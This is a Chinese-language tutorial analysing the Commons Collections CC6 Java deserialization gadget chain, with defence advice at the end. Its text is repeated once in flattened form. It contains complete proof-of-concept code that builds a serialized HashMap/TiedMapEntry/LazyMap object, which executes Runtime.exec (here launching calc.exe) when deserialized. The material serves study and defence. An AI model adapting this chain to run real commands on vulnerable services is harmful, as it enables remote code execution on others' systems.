不删除"key"的CC6反序列化
字数 1227 2025-08-27 12:33:54

CC6反序列化漏洞分析与利用

概述

CC6是Commons Collections反序列化漏洞的一个变种,作为CC1的增强版,能够在更高版本的Java环境中使用。与CC1类似,CC6利用了相同的Transformer链,但替换了触发反序列化的入口点,使用HashMap类替代了CC1中的AnnotationInvocationHandler类。

核心利用链分析

关键类与方法

  1. TiedMapEntry类

    • getValue()方法:

      public Object getValue() {
          return map.get(key);
      }
      

      这里map字段调用了get方法,并以字段key作为参数。

    • hashCode()方法:

      public int hashCode() {
          Object value = getValue();
          return (getKey() == null ? 0 : getKey().hashCode()) ^ 
                 (value == null ? 0 : value.hashCode());
      }
      

      该方法调用了getValue()来获取value值。

  2. LazyMap类

    • 与CC1相同,通过get()方法触发Transformer链
  3. HashMap类

    • 在反序列化时会调用hash()方法计算hash值
    • hash()方法会调用key对象的hashCode()方法

利用链构造

完整的利用链如下:

TiedMapEntry.hashCode() 
→ TiedMapEntry.getValue() 
→ LazyMap.get() 
→ ChainTransformer.transform() 
→ InvokerTransformer.transform()

漏洞利用步骤

1. 构造Transformer链

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

2. 创建LazyMap

Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

3. 创建TiedMapEntry对象

为了避免在构造过程中就触发payload,先使用普通HashMap:

TiedMapEntry entry = new TiedMapEntry(new HashMap(), "sakut2");

4. 将entry放入HashMap

HashMap hashMap = new HashMap();
hashMap.put(entry, "sakut2");

5. 通过反射替换map字段

将TiedMapEntry中的map字段替换为恶意的lazyMap:

Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry, lazyMap);

6. 序列化与反序列化触发

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC6"));
oos.writeObject(hashMap);

// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC6"));
ois.readObject();

技术细节解析

为什么使用HashMap作为入口点

  1. HashMap在反序列化时会调用readObject方法
  2. readObject方法中会调用hash()方法计算key的hash值
  3. hash()方法会调用key对象的hashCode()方法
  4. 如果key是TiedMapEntry对象,就会触发其hashCode()方法

避免提前触发的技巧

  1. 初始构造TiedMapEntry时使用普通HashMap而非LazyMap
  2. 在将entry放入HashMap后,再通过反射将map字段替换为LazyMap
  3. 这样在反序列化时才会真正触发恶意代码

完整利用代码

public static void main(String[] args) throws Exception {
    // 构造Transformer链
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[]{String.class, Class[].class}, 
            new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", 
            new Class[]{Object.class, Object[].class}, 
            new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", 
            new Class[]{String.class}, 
            new String[]{"calc.exe"})
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    
    // 创建LazyMap
    Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
    
    // 创建TiedMapEntry对象(初始使用普通HashMap)
    TiedMapEntry entry = new TiedMapEntry(new HashMap(), "sakut2");
    
    // 将entry放入HashMap
    HashMap hashMap = new HashMap();
    hashMap.put(entry, "sakut2");
    
    // 通过反射替换map字段为LazyMap
    Field field = entry.getClass().getDeclaredField("map");
    field.setAccessible(true);
    field.set(entry, lazyMap);
    
    // 序列化
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC6"));
    oos.writeObject(hashMap);
    
    // 反序列化触发
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC6"));
    ois.readObject();
}

与CC1的主要区别

  1. 触发类不同

    • CC1使用AnnotationInvocationHandler
    • CC6使用HashMap
  2. 触发方法不同

    • CC1通过Proxy机制触发
    • CC6通过HashMap的hashCode计算触发
  3. 兼容性

    • CC6在高版本Java中仍然可用
    • CC1在某些Java版本中受限

防御建议

  1. 升级Commons Collections到安全版本
  2. 使用Java安全机制限制反序列化
  3. 对输入流进行严格过滤
  4. 使用白名单控制可反序列化的类

总结

CC6反序列化漏洞通过精心构造的TiedMapEntry和HashMap组合,利用Java反序列化机制触发恶意代码执行。与CC1相比,它采用了不同的触发路径,具有更好的兼容性。理解这一漏洞有助于开发者更好地防范类似的安全风险。

CC6反序列化漏洞分析与利用 概述 CC6是Commons Collections反序列化漏洞的一个变种,作为CC1的增强版,能够在更高版本的Java环境中使用。与CC1类似,CC6利用了相同的Transformer链,但替换了触发反序列化的入口点,使用HashMap类替代了CC1中的AnnotationInvocationHandler类。 核心利用链分析 关键类与方法 TiedMapEntry类 getValue() 方法: 这里 map 字段调用了 get 方法,并以字段 key 作为参数。 hashCode() 方法: 该方法调用了 getValue() 来获取value值。 LazyMap类 与CC1相同,通过 get() 方法触发Transformer链 HashMap类 在反序列化时会调用 hash() 方法计算hash值 hash() 方法会调用key对象的 hashCode() 方法 利用链构造 完整的利用链如下: 漏洞利用步骤 1. 构造Transformer链 2. 创建LazyMap 3. 创建TiedMapEntry对象 为了避免在构造过程中就触发payload,先使用普通HashMap: 4. 将entry放入HashMap 5. 通过反射替换map字段 将TiedMapEntry中的map字段替换为恶意的lazyMap: 6. 序列化与反序列化触发 技术细节解析 为什么使用HashMap作为入口点 HashMap在反序列化时会调用 readObject 方法 readObject 方法中会调用 hash() 方法计算key的hash值 hash() 方法会调用key对象的 hashCode() 方法 如果key是TiedMapEntry对象,就会触发其 hashCode() 方法 避免提前触发的技巧 初始构造TiedMapEntry时使用普通HashMap而非LazyMap 在将entry放入HashMap后,再通过反射将map字段替换为LazyMap 这样在反序列化时才会真正触发恶意代码 完整利用代码 与CC1的主要区别 触发类不同 : CC1使用AnnotationInvocationHandler CC6使用HashMap 触发方法不同 : CC1通过Proxy机制触发 CC6通过HashMap的hashCode计算触发 兼容性 : CC6在高版本Java中仍然可用 CC1在某些Java版本中受限 防御建议 升级Commons Collections到安全版本 使用Java安全机制限制反序列化 对输入流进行严格过滤 使用白名单控制可反序列化的类 总结 CC6反序列化漏洞通过精心构造的TiedMapEntry和HashMap组合,利用Java反序列化机制触发恶意代码执行。与CC1相比,它采用了不同的触发路径,具有更好的兼容性。理解这一漏洞有助于开发者更好地防范类似的安全风险。